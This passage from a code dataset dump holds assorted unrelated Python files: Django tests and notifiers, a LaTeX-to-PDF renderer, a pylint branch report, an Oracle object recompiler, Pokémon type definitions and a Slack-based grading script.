self.assertEqual(next(rows), self.line1)\n\n def test_csv_2(self):\n csv_data = bb_datas.CsvDataMixin()\n buf = io.BytesIO()\n csv_data.write_data(buf, [])\n buf.seek(0)\n rows = csv_data.read_data(buf)\n self.assertEqual(len(list(rows)), 0)\n\n contents_map = {\n 'key0': 'contents0',\n 'キー1': '日本語',\n }\n\n def get_files(self):\n for path, contents in self.contents_map.items():\n yield path, contents\n\n def test_zip0(self):\n zip_data = bb_datas.ZipDataMixin()\n buf = io.BytesIO()\n zip_data.get_files = self.get_files\n zip_data.write_data(buf)\n buf.seek(0)\n for path, content in zip_data.read_data(buf):\n self.assertEqual(force_text(content), self.contents_map[path])\n\n def test_zip1(self):\n zip_data = bb_datas.ZipDataMixin()\n buf = io.BytesIO()\n zip_data.write_data(buf, self.contents_map.items())\n buf.seek(0)\n for path, content in zip_data.read_data(buf):\n self.assertEqual(force_text(content), self.contents_map[path])\n","sub_path":"tests/test_datas.py","file_name":"test_datas.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"565373566","text":"#!/usr/bin/env python3\n\nimport re\n\ndef strip(string, cut='\\s'):\n print('This is the string: ' + cut) #debug\n regExFront = re.compile('^[' + cut +']+')\n str_frt = regExFront.sub('',string)\n regExEnd = re.compile('[' + cut + ']+$')\n str_end = regExEnd.sub('', str_frt)\n print(str_end)\n\nprint('Enter string: ')\ninp = input()\nprint('Enter characters to trim: ')\ntrim = input()\nif trim == '':\n strip(inp)\nelse:\n strip(inp, trim)\n","sub_path":"2017_Summer/ch7_ExtraProject_Strip.py","file_name":"ch7_ExtraProject_Strip.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"259598531","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport random\nimport sys\n\ndef get_hero_list_file(hero_list_file):\n\n\t'''获取姓名和权重的文件,返回一个以姓名为key,权重为value的dict。\n\n\tkeywords arguments:\n\n\thero_list_file -- string, 文件路径。\n\n\treturn:\n\n\thero_dict -- Dict。姓名为key,权重为value\n\n\t'''\n\n\thero_dict = {}\n\n\ttry:\n\t\twith open(hero_list_file, 'r', encoding='utf-8') as hero_file:\n\t\t\tfor line in hero_file:\n\t\t\t\tif (line[0] == \"#\" or line[0] == \"\\n\"):\t\t# 如果人员文件中的第一行是#,或者是空行,则该行略过。\n\t\t\t\t\tcontinue\n\t\t\t\thero_name, hero_weight = line.split(',',2)\n\t\t\t\thero_dict[hero_name] = int(hero_weight.split('\\\\')[0])\n\texcept OSError as e:\n\t\tprint(\"File not Found: \" + hero_list_file)\t\t# 如果文件未找到则退出程序\n\t\tsys.exit(1)\n\n\treturn hero_dict\n\ndef create_hero_list(hero_dict):\n\n\t'''获取姓名和权重的dict,返回一个存储姓名的列表。\n\n\tKeyword argument:\n\n\thero_dict -- 要求以姓名为key,权重为value\n\n\tReturns:\n\n\thero_name_pool -- 根据姓名和权重构建的姓名列表,其中权重值是某个姓名在该列表中出现的次数。\n\n\t'''\n\n\thero_name_pool = []\n\n\tfor hero in hero_dict:\n\t\tfor i in range(hero_dict[hero]):\n\t\t\thero_name_pool.append(hero)\n\n\treturn hero_name_pool\n\ndef get_hero_of_the_day(hero_name_pool, hero_amount):\n\n\t'''传入姓名列表和要产生的姓名数量,给出一个姓名set。\n\n\t注:个人感觉这个函数有缺陷:返回值的类型不固定,但功能算是实现了。\n\n\tKeyword arguments:\n\n\thero_name_pool -- 存储姓名的列表\n\thero_amount -- 要生成的人数\n\n\tReturns: set() 或者 string。如果姓名列表不为空,则返回set();如果为空则返回string。\n\n\t'''\n\n\thero_set = set()\n\n\tif (len(hero_name_pool) > 0):\n\t\twhile (len(hero_set) <= int(hero_amount) - 1):\n\t\t\thero_set.add(random.choice(hero_name_pool)) # 用set可以保证人员不会重复。\n\telse:\n\t\thero_set = 'Error: Empty List, Maybe the file is empty?'\n\n\treturn hero_set\n\ndef main():\n\n\ttry:\t\t\t\t\t\t\t# 在此处获取传入的参数,如果没有参数,则默认是1\n\t\tsys.argv[1]\n\texcept IndexError:\n\t\thero_amount = 1\n\telse:\n\t\thero_amount = sys.argv[1]\n\n\thero_dict = get_hero_list_file('hero_list.txt')\n\n\thero_name_pool = create_hero_list(hero_dict)\n\n\tprint(get_hero_of_the_day(hero_name_pool, hero_amount))\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"weighted_hero_generator.py","file_name":"weighted_hero_generator.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"372213979","text":"# -*- coding: utf-8 -*-\nimport httplib, urllib\n\nfrom django.db import models\nfrom django.conf import settings\n\nclass VoiceNotifier(object):\n\t_host = settings.VOICE_NOTIFIER_HOST\n\t_port = settings.VOICE_NOTIFIER_PORT\n\t_service = settings.VOICE_NOTIFIER_SERVICE\n\t\n\t_text = \"Поступило новое желание\"\n\n\tdef notify(self, text):\n\t\tif not text:\n\t\t\ttext = self._text\n\t\tconn = httplib.HTTPConnection(self._host, self._port)\n\t\tparams = urllib.urlencode({'text': text})\n\t\theaders = {\n\t\t\t\"Content-type\": \"text/plain\",\n\t\t}\n\t\tconn.request(\"POST\", self._service, params, headers)\n\n\nclass Notifier(object):\n\t_message_to_pusher = u\"\"\"\nДорогой друг,\n\nМы получили от тебя желание:\n{wish}\n\nМы постараемся сделать все возможное, чтобы как можно скорее исполнить твою хотелку. Как только мы возьмем ее в работу, тебе на почту придет письмо. Также ты можешь отследить статус своего желания на нашем сервисе http://ссылка\n\nТвоя команда автоматизации\n\"\"\".encode('utf-8')\n\n\t_message_to_autoqa = u\"\"\"\nПоступило новое желание:\n{wish}\n\nот {email}\n\"\"\".encode('utf-8')\n\n\tdef email_pusher(self, email, wish):\n\t\tsubject = \"Your wish is our wish\"\n\t\tmessage = self._message_to_pusher.format(wish=wish)\n\t\temail_from = \"autoqa@2gis.ru\"\n\n\t\tfrom django.core.mail import send_mail\n\t\tsend_mail(subject, message, email_from,\t[email])\n\n\tdef email_autoqa(self, email, wish):\n\t\tsubject = \"New wish\"\n\t\tmessage = self._message_to_autoqa.format(email=email, wish=wish)\n\t\temail_from = \"notifier@2gis.ru\"\n\n\t\tfrom django.core.mail import send_mail\n\t\tsend_mail(subject, message, email_from,\t[email])\n\n\tdef send_emails(self, email, wish):\n\t\tself.email_pusher(email,wish)\n\t\tself.email_autoqa(email,wish)\n\n\tdef voice_notify(self, text):\n\t\tvoice_notifier = VoiceNotifier()\n\t\tvoice_notifier.notify(text)","sub_path":"notifier/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"466062547","text":"from setuptools import setup\n\nPACKAGE = 'django_FBO'\nVERSION = '4.1.0'\n\nsetup(\n name=PACKAGE,\n version=VERSION,\n description=\"Access file-backed objects in something resembling the ORM.\",\n packages=[\n 'django_FBO',\n 'django_FBO.modules',\n 'django_FBO.management',\n 'django_FBO.management.commands',\n ],\n package_data={\n 'django_FBO': [\n 'site_templates/*.py',\n 'site_templates/requirements.txt',\n 'site_templates/static/css/*.css',\n 'site_templates/templates/*.html',\n 'site_templates/templates/blog/*.html',\n ],\n },\n license='MIT',\n author='James Aylett',\n author_email='james@tartarus.org',\n entry_points={\n 'console_scripts': [\n 'django-fbo-newsite = django_FBO.__script__:newsite'\n ],\n },\n install_requires=[\n 'Django>=2.1.0',\n 'PyYAML~=5.3.1',\n ],\n url='https://github.com/jaylett/django-filebacked-objects',\n classifiers=[\n 'Intended Audience :: Developers',\n 'Framework :: Django',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"349508913","text":"\n\"\"\"\nCopied from https://bitbucket.org/mverleg/django_tex_response/src/a7859552519d7145473951d6ac2109e72067a4b5?at=master\n\"\"\"\n\nfrom os import remove, listdir, symlink\nfrom os.path import dirname, join, abspath, exists, basename\nfrom re import findall\nfrom shutil import copy2, rmtree, copyfile\nfrom subprocess import PIPE, Popen\nfrom tempfile import mkdtemp, mkstemp\n\nfrom django.conf import settings\nfrom django.apps import apps\nfrom django.http.response import HttpResponse\nfrom django.template.loader import render_to_string\n\n\nclass LatexException(Exception):\n\t\"\"\" something went wrong while rendering a tex file \"\"\"\n\n\tdef __init__(self, msg: str, *args: object) -> None:\n\t\tself.message = msg\n\t\tsuper().__init__(*args)\n\n\ndef derive_static_dirs():\n\tdirs = list(settings.STATICFILES_DIRS)\n\tfor mod in apps.app_configs:\n\t\tpth = join(settings.BASE_DIR, mod, 'static')\n\t\tif exists(pth):\n\t\t\tdirs.append(pth)\n\treturn tuple(abspath(pth) for pth in dirs)\n\n\ndef make_graphics_path():\n\t# The spaces between { { are important to prevent interpreting at template tags.\n\treturn '\\graphicspath{ {' + '}{'.join(derive_static_dirs()) + '} }'\n\n\ndef link_imgs(target_dir, imgsources):\n\t# From https://github.com/mverleg/bardeen/blob/master/bardeen/system.py\n\tfor srcpth in imgsources:\n\t\tfor resource in listdir(srcpth):\n\t\t\ttry:\n\t\t\t\tsymlink(join(srcpth, resource), join(target_dir, basename(resource)))\n\t\t\texcept OSError:\n\t\t\t\tcopyfile(join(srcpth, resource), join(target_dir, basename(resource)))\n\n\ndef render_tex(request, template, context):\n\t\"\"\"\n\tRender template to .tex file.\n\t\"\"\"\n\ttex_input = render_to_string(template, context, request)\n\ttmp_dir = mkdtemp()\n\tin_file = join(tmp_dir, 'input.tex')\n\twith open(in_file, 'w+') as fh:\n\t\tfh.write(tex_input)\n\treturn in_file\n\n\ndef tex_to_pdf(tex_file, destination=mkstemp(suffix='.pdf')[1],\n\t\ttex_cmd='luatex', flags=('-interaction=nonstopmode', '-halt-on-error',),\n\t\tdo_link_imgs=True):\n\t\"\"\"\n\tRender .tex file to .pdf.\n\t\"\"\"\n\ttmp_dir = dirname(tex_file)\n\tif do_link_imgs:\n\t\tlink_imgs(tmp_dir, derive_static_dirs())\n\tout_file = join(tmp_dir, 'output.pdf')\n\tcmd = 'cd {dir:s}; {cmd:s} {flags:s} -jobname=output input.tex'.format(\n\t\tdir=tmp_dir, cmd=tex_cmd, flags=' '.join(flags))\n\tproc = Popen(cmd, stdout=PIPE, stderr=PIPE, shell=True)\n\toutp, err = proc.communicate()\n\tif b'error occurred' in outp:\n\t\tmsgs = findall(r'[eE]rror:([^\\n]*)\\n', outp.decode('ascii'))\n\t\traise LatexException('Latex error: {0:}\\nLong log: {1:}'.format(\n\t\t\t'\\n'.join(msg.strip() for msg in msgs),\n\t\t\toutp[-800:]\n\t\t))\n\tif err:\n\t\traise LatexException(err)\n\ttry:\n\t\tcopy2(out_file, destination)\n\texcept IOError:\n\t\traise LatexException(('{0:s} produced no error but failed to produce a'\n\t\t\t' pdf file; output: {1:s}').format(tex_cmd, outp))\n\trmtree(tmp_dir)\n\treturn destination\n\n\ndef tex_bytes_to_pdf_bytes(tex_bytes, tex_cmd='luatex', flags=('-interaction=nonstopmode', '-halt-on-error')):\n\t\"\"\"\n\tRender .tex bytes to .pdf bytes (using temporary files, but that bookkeeping is hidden).\n\t\"\"\"\n\tlatex_dir = mkdtemp('latex_gen')\n\tlatex_file = join(latex_dir, 'input.tex')\n\twith open(latex_file, 'wb+') as fh:\n\t\tfh.write(tex_bytes)\n\tpdf_tmp = tex_to_pdf(latex_file, tex_cmd=tex_cmd, flags=flags)\n\twith open(pdf_tmp, 'rb') as fh:\n\t\tdata = fh.read()\n\treturn data\n\n\ndef tex_str_to_pdf_bytes(tex_str, tex_cmd='luatex', flags=('-interaction=nonstopmode', '-halt-on-error')):\n\treturn tex_bytes_to_pdf_bytes(tex_str.encode('utf-8'), tex_cmd=tex_cmd, flags=flags)\n\n\ndef render_pdf(request, template, context, filename='file.pdf',\n\t\ttex_cmd='luatex', flags=('-interaction=nonstopmode', '-halt-on-error',),\n\t\tdo_link_imgs=True):\n\t\"\"\"\n\tRender template to pdf-response (by using the above functions).\n\t\"\"\"\n\ttex_file = render_tex(request, template, context)\n\tpdf_file = tex_to_pdf(tex_file, tex_cmd=tex_cmd, flags=flags, do_link_imgs=do_link_imgs)\n\tresponse = HttpResponse(content_type='application/pdf')\n\tresponse['Content-Disposition'] = 'attachment; filename=\"%s\"' % filename\n\twith open(pdf_file, 'rb') as fh:\n\t\tresponse.write(fh.read())\n\tremove(pdf_file)\n\treturn response\n\n","sub_path":"docker_service/source/tex_response/tex.py","file_name":"tex.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"410316990","text":"#!/usr/bin/env python\n\n# Fred Spreen \n# 23 March 2018\n\nfrom __future__ import print_function\n\nimport re\nimport subprocess\n\nNA_SCORE = \"N/A\"\nSTAR_LEVEL = 8.0\n\npylintScore = re.compile(r'Your code has been rated at (\\S+)/(\\S+)')\n\n# TODO change working directory to repo root?\n\ntry:\n repoRoot = subprocess.check_output([\"git\", \"rev-parse\", \"--show-toplevel\"])\\\n .strip()\nexcept subprocess.CalledProcessError:\n repoRoot = None\n\ntry:\n lines = subprocess.check_output(\n [\"git\", \"diff\", \"--name-status\", \"origin/master...\"],\n cwd=repoRoot\n ).strip().split(\"\\n\")\n files = [x.split(None,1) for x in lines]\nexcept subprocess.CalledProcessError:\n files = []\n\nfiles.sort(lambda a,b: cmp(a[1].lower(), b[1].lower()))\n\ntable = []\n\nfor st,f in files:\n try:\n analysis = subprocess.check_output(\n [\"pylint\", \"--rcfile=.pylintrc\", f],\n stderr=subprocess.STDOUT,\n universal_newlines=True,\n cwd=repoRoot)\n except subprocess.CalledProcessError as exc:\n analysis = exc.output\n\n scoreMatch = re.search(pylintScore, analysis)\n\n if scoreMatch:\n numer = scoreMatch.group(1)\n denom = scoreMatch.group(2)\n\n score = numer + \"/\" + denom\n\n if float(numer) == 10.00:\n score = score + \" :star: :100:\"\n elif float(numer) >= STAR_LEVEL:\n score = score + \" :star:\"\n elif float(numer) < 0:\n score = score + \" :x:\"\n\n # Empty file (only has message line indicating config file)\n elif len(analysis.strip().split(\"\\n\")) <= 1 and analysis.startswith(\"Using config file \"):\n score = NA_SCORE\n\n else:\n # Unknown circumstance (non-empty, non-Python code?)\n score = \"???\"\n\n escaped_fname = re.sub('_', '\\\\_', f)\n\n status_word = \"\"\n if st == \"A\":\n # Added\n status_word = \"NEW\"\n elif st == \"D\":\n # Deleted\n status_word = \"removed\"\n elif st == \"M\":\n # Modified\n status_word = \"changed\"\n # For full list of status fields: man git-diff; search for diff-filter\n\n table.append((status_word, escaped_fname, score))\n\n\nmax_status = max([3, len(\"Status\"), max([len(t[0]) for t in table])])\nmax_fname = max([3, len(\"File Name\"), max([len(t[1]) for t in table])])\nmax_score = max([3, len(\"Pylint Score\"), max([len(t[2]) for t in table])])\n\n# Header\nprint(\"| {0} | {1} | {2} |\".format(\n str.ljust(\"Status\", max_status),\n str.ljust(\"File Name\", max_fname),\n str.ljust(\"Pylint Score\", max_score)))\n\n# Divider\nprint(\"| {0} | {1} | {2} |\".format(\n '-' * max_status,\n '-' * max_fname,\n '-' * max_score))\n\nfor t in table:\n print(\"| {0} | {1} | {2} |\".format(\n str.ljust(t[0], max_status),\n str.ljust(t[1], max_fname),\n str.ljust(t[2], max_score)))\n","sub_path":"pylint-checkbranch.py","file_name":"pylint-checkbranch.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"36837740","text":"import random\n\nclass Type():\n def __init__(self, name, hex):\n self.name = name\n self.hex = hex\n\n def __str__(self):\n return self.name\n\n @staticmethod\n def fromBytes(hex):\n return Type.reverse[hex]\n\n @staticmethod\n def buildReverse():\n reverse = {}\n hex_keys = []\n Type.members = [attr for attr in dir(Type) if not callable(getattr(Type, attr)) and not attr.startswith(\"__\")]\n for member in Type.members:\n type = getattr(Type, member)\n reverse[type.hex] = type\n hex_keys.append(type.hex)\n\n Type.reverse = reverse\n Type.hex_keys = hex_keys\n\n @staticmethod\n def rnd():\n return getattr(Type, random.choice(Type.members))\n\nType.NORMAL = Type(\"Normal\", 0x00)\nType.FIGHTING = Type(\"Fighting\", 0x01)\nType.FLYING = Type(\"Flying\", 0x02)\nType.POISON = Type(\"Poison\", 0x03)\nType.GROUND = Type(\"Ground\", 0x04)\nType.ROCK = Type(\"Rock\", 0x05)\nType.BUG = Type(\"Bug\", 0x07)\nType.GHOST = Type(\"Ghost\", 0x08)\nType.FIRE = Type(\"Fire\", 0x14)\nType.WATER = Type(\"Water\", 0x15)\nType.GRASS = Type(\"Grass\", 0x16)\nType.ELECTRIC = Type(\"Electric\", 0x17)\nType.PSYCHIC = Type(\"Psychic\", 0x18)\nType.ICE = Type(\"Ice\", 0x19)\nType.DRAGON = Type(\"Dragon\", 0x1A)\n\nType.buildReverse()\n","sub_path":"Pokemon/pokemon_type.py","file_name":"pokemon_type.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"353920612","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n Creato da.....: Marco Valaguzza\n Piattaforma...: Python3.6 con libreria pyqt5\n Data..........: 05/12/2019\n Descrizione...: Programma per la ricompilazione oggetti invalidi su DB oracle\n \n Note..........: Il layout è stato creato utilizzando qtdesigner e il file oracle_recompiler_ui.py è ricavato partendo da oracle_recompiler_ui.ui \n\"\"\"\n\n#Librerie sistema\nimport sys\n#Amplifico la pathname dell'applicazione in modo veda il contenuto della directory qtdesigner dove sono contenuti i layout\nsys.path.append('qtdesigner')\n#Librerie di data base\nimport cx_Oracle\n#Librerie grafiche\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom oracle_recompiler_ui import Ui_oracle_recompiler_window\n#Librerie interne MGrep\nfrom preferenze import preferenze\nfrom utilita import message_error, message_info\n \nclass oracle_recompiler_class(QtWidgets.QMainWindow, Ui_oracle_recompiler_window):\n \"\"\"\n Oracle recompiler \n \"\"\" \n def __init__(self):\n # incapsulo la classe grafica da qtdesigner\n super(oracle_recompiler_class, self).__init__() \n self.setupUi(self)\n \n # carico le preferenze\n self.o_preferenze = preferenze() \n self.o_preferenze.carica()\n \n # carico elenco dei server prendendolo dalle preferenze\n for nome in self.o_preferenze.elenco_server:\n self.e_server_name.addItem(nome)\n \n def carica_oggetti_invalidi_db(self):\n \"\"\"\n carica elenco degli oggetti invalidi\n \"\"\"\n # connessione al DB come amministratore \n\n try:\n v_connection = cx_Oracle.connect(user=self.o_preferenze.v_oracle_user_sys,\n password=self.o_preferenze.v_oracle_password_sys,\n dsn=self.e_server_name.currentText(),\n mode=cx_Oracle.SYSDBA) \n except:\n message_error('Connection to oracle rejected. Please control login information.')\n return [] \n \n # apro cursori\n v_cursor = v_connection.cursor()\n # select per la ricerca degli oggetti invalidi\n v_cursor.execute(\"SELECT OWNER, OBJECT_NAME, OBJECT_TYPE FROM ALL_OBJECTS WHERE STATUS='INVALID' AND OWNER NOT IN ('SYS','APEX_040200') AND OBJECT_NAME NOT LIKE 'OLAP_OLEDB%' ORDER BY OBJECT_TYPE\")\n \n # carico tutte le righe in una lista\n v_row = v_cursor.fetchall() \n\n v_cursor.close()\n v_connection.close() \n \n # restituisco la matrice\n return v_row\n \n def slot_b_search_all(self):\n \"\"\"\n ricerca tutti gli oggetti invalidi\n \"\"\"\n matrice_dati = self.carica_oggetti_invalidi_db()\n \n # lista contenente le intestazioni\n intestazioni = ['Owner','Object name','Object type'] \n # creo un oggetto modello-matrice che va ad agganciarsi all'oggetto grafico lista \n self.lista_risultati = QtGui.QStandardItemModel()\n # carico nel modello la lista delle intestazioni\n self.lista_risultati.setHorizontalHeaderLabels(intestazioni) \n # creo le colonne per contenere i dati\n self.lista_risultati.setColumnCount(len(intestazioni)) \n # creo le righe per contenere i dati\n self.lista_risultati.setRowCount(len(matrice_dati)) \n y =0\n # carico i dati presi dal db dentro il modello\n for row in matrice_dati: \n x = 0\n for field in row:\n self.lista_risultati.setItem(y, x, QtGui.QStandardItem(field) )\n x += 1\n y += 1\n # carico il modello nel widget \n self.o_lst1.setModel(self.lista_risultati) \n # indico di calcolare automaticamente la larghezza delle colonne\n self.o_lst1.resizeColumnsToContents()\n \n def slot_b_compile_all(self):\n \"\"\"\n compila tutti gli oggetti invalidi\n \"\"\"\n try:\n # connessione al DB come amministratore\n v_connection = cx_Oracle.connect(user=self.o_preferenze.v_oracle_user_sys,\n password=self.o_preferenze.v_oracle_password_sys,\n dsn=self.e_server_name.currentText(),\n mode=cx_Oracle.SYSDBA)\n v_error = False\n except:\n message_error('Connection to oracle rejected. Please control login information.')\n v_error = True\n\n if not v_error:\n # imposto l'icona della freccia del cursore a waiting\n QtWidgets.QApplication.setOverrideCursor(QtGui.QCursor(QtCore.Qt.WaitCursor)) \n # apro cursori\n v_cursor = v_connection.cursor()\n\n # esecuzione dello script che ricompila tutti gli oggetti invalidi\n v_cursor.execute(\"BEGIN UTL_RECOMP.RECOMP_SERIAL(); END;\")\n v_cursor.close()\n v_connection.close()\n\n # select per la ricerca degli oggetti invalidi\n self.slot_b_search_all()\n \n # tolgo icona freccia cursore e lo riporto a normale ed emetto messaggio di fine\n QtWidgets.QApplication.restoreOverrideCursor() \n message_info('Invalid objects recompiled!')\n \n# ----------------------------------------\n# TEST APPLICAZIONE\n# ----------------------------------------\nif __name__ == \"__main__\": \n app = QtWidgets.QApplication([]) \n application = oracle_recompiler_class() \n application.show()\n sys.exit(app.exec()) ","sub_path":"source/oracle_recompiler.py","file_name":"oracle_recompiler.py","file_ext":"py","file_size_in_byte":5905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"438515130","text":"#!/usr/bin/env python3\n\n\"\"\"\nthis is a simple grading tool for slack. We post a simple\n\"+1\"-style grade for a student to a slack channel using an incoming\nwebhook.\n\"\"\"\n\nfrom __future__ import print_function\n\nimport argparse\nimport datetime\nimport json\nimport os\nimport shlex\nimport subprocess\nimport sys\n\nimport configparser\nimport validators\n\ndef run(string):\n \"\"\" run a UNIX command \"\"\"\n\n # shlex.split will preserve inner quotes\n prog = shlex.split(string)\n p0 = subprocess.Popen(prog, stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n\n stdout0, stderr0 = p0.communicate()\n rc = p0.returncode\n p0.stdout.close()\n\n return stdout0, stderr0, rc\n\nclass Grade(object):\n \"\"\" a new grade entry that we will be adding to slack and our records \"\"\"\n\n def __init__(self, student, remark=None, channel=\"#general\"):\n \"\"\" a Grade keeps track of a single entry in our grade records \"\"\"\n if student.startswith(\"@\"):\n student = student.split(\"@\")[1]\n self.student = student\n\n self.remark = remark\n\n if not channel.startswith(\"#\"):\n channel = \"#\" + channel\n self.channel = channel\n\n # record the data / time\n self.date = \"{}\".format(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n\n def slack_post(self, params):\n \"\"\" post our grade to slack \"\"\"\n webhook = params[\"web-hook\"]\n\n payload = {}\n payload[\"channel\"] = self.channel\n payload[\"text\"] = \"<@{}> : {}\".format(self.student, self.remark)\n payload[\"link_names\"] = 1\n cmd = \"curl -X POST --data-urlencode 'payload={}' {}\".format(json.dumps(payload), webhook)\n so = run(cmd)\n\n def update_grades(self, params):\n \"\"\" update the grade log \"\"\"\n log_file = params[\"grade-log\"]\n\n with open(log_file, \"a\") as lf:\n lf.write(\"{}\\n\".format(self.__str__()))\n\n def __str__(self):\n return \"{}, {:20}, {:12}, {}\".format(self.date, self.student, self.channel, self.remark)\n\nclass Record(object):\n \"\"\" a recorded grade from our logs \"\"\"\n\n def __init__(self, student, date, remark, channel):\n self.student = student\n self.date = date\n self.remark = remark\n self.channel = channel\n\n def __lt__(self, other):\n \"\"\" compare on student name for sorting \"\"\"\n return self.student < other.student\n\n\ndef main(student=None, remark=None, channel=None,\n class_name=None,\n just_summary=False):\n \"\"\" the main driver \"\"\"\n params = get_defaults(class_name)\n\n # if we just want a summary, do it\n if just_summary:\n report(params)\n else:\n # create the grade object\n g = Grade(student, remark=remark, channel=channel)\n\n # post the +1 to slack\n g.slack_post(params)\n\n # update the grade log\n g.update_grades(params)\n\n\ndef report(params):\n \"\"\" generate a simple report of the form 'student, grade' \"\"\"\n records = []\n\n # open up the log file and create a list of records\n with open(params[\"grade-log\"]) as lf:\n for line in lf:\n if line.startswith(\"#\"):\n continue\n date, student, channel, remark = line.split(\",\")\n records.append(Record(student, date, remark, channel))\n\n # find unique student names\n names = sorted(list(set([q.student for q in records])))\n\n for name in names:\n points = len([q for q in records if q.student == name])\n print(\"{:20}, {}\".format(name, points))\n\n\n\ndef get_args():\n \"\"\" parse commandline arguments \"\"\"\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--setup\", help=\"define or modify the settings for your class\",\n action=\"store_true\")\n parser.add_argument(\"--report\", help=\"write out a summary of points by student\",\n action=\"store_true\")\n parser.add_argument(\"--class_name\", type=str, help=\"name of class to grade\",\n default=None)\n parser.add_argument(\"student\", type=str, nargs=\"?\",\n help=\"name of student to grade\",\n default=\"\")\n parser.add_argument(\"comment\", type=str, nargs=\"?\",\n help=\"comment to use as grade\", default=\"\")\n parser.add_argument(\"channel\", type=str, nargs=\"?\",\n help=\"channel to post to\",\n default=\"#general\")\n args = parser.parse_args()\n\n if not args.setup and not args.report:\n # in this case, we require the user name and comment\n if args.student == \"\" or args.comment == \"\":\n parser.print_help()\n sys.exit(\"\\nstudent and comment are required\")\n\n return args\n\ndef get_defaults(class_name):\n \"\"\" we store our default settings in a ~/.slackgrader file \"\"\"\n home_path = os.getenv(\"HOME\")\n defaults_file = os.path.join(home_path, \".slackgrader\")\n\n try:\n cf = configparser.ConfigParser()\n cf.read(defaults_file)\n except:\n sys.exit(\"Error: unable to read ~/.slackgrader\")\n\n # if no class name was defined, then we use the first\n if class_name is None:\n class_name = cf.sections()[0]\n\n defaults = {}\n defaults[\"web-hook\"] = cf.get(class_name, \"web-hook\")\n defaults[\"grade-log\"] = cf.get(class_name, \"grade-log\")\n\n return defaults\n\ndef log_name(log_path, class_name):\n \"\"\" return the name of the log file we'll use \"\"\"\n return os.path.join(log_path, \"{}-slackgrades.log\".format(class_name.strip()))\n\ndef setup_params():\n \"\"\" query the user to get the default parameters for this grade session \"\"\"\n\n # ask for the name of this class\n class_name = input(\"Enter the name of the class: \")\n if class_name == \"\":\n sys.exit(\"Error: class name cannot be empty\")\n\n # ask for the slack api webhook\n web_hook = input(\"Enter the full URL for your slack webhook: \")\n if not validators.url(web_hook):\n sys.exit(\"Error: slack webhook does not seem to be a valid URL\")\n\n # ask for the path to the grade log\n home_path = os.getenv(\"HOME\")\n\n log_path = input(\"Enter the full path to the grade log [{}]: \".format(home_path))\n if log_path == \"\":\n log_path = home_path\n\n grade_log = log_name(log_path, class_name)\n\n if os.path.isfile(grade_log):\n # if it exists, say we'll append.\n print(\"Grade log already exists. We'll append\")\n print(\"using logfile: {}\".format(grade_log))\n else:\n # create a stub\n try:\n lf = open(grade_log, \"w\")\n except IOError:\n sys.exit(\"Error: unable to create the log file\")\n else:\n lf.write(\"# slack grade log log for class: {}\\n\".format(class_name))\n lf.close()\n\n # write defaults file -- it's an ini-style file\n defaults_file = os.path.join(home_path, \".slackgrader\")\n\n # if it exists, read its contents\n if os.path.isfile(defaults_file):\n try:\n cf = configparser.ConfigParser()\n cf.read(defaults_file)\n except:\n sys.exit(\"Error: default file exists but is unreadable\")\n else:\n cf = configparser.ConfigParser({})\n\n # delete our class section if it is already there\n cf.remove_section(class_name)\n\n # now add it to start clean\n cf.add_section(class_name)\n\n # add the options\n cf.set(class_name, \"web-hook\", web_hook)\n cf.set(class_name, \"grade-log\", grade_log)\n\n # write it out\n with open(defaults_file, \"w\") as f:\n cf.write(f)\n\n\nif __name__ == \"__main__\":\n args = get_args()\n\n if args.setup:\n setup_params()\n\n elif args.report:\n main(just_summary=True)\n\n else:\n main(args.student, args.comment, args.channel, class_name=args.class_name)\n","sub_path":"slackgrade.py","file_name":"slackgrade.py","file_ext":"py","file_size_in_byte":7778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"355737603","text":"#\n# Copyright 2016 iXsystems, Inc.\n# All rights reserved\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted providing that the following conditions\n# are met:\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n# 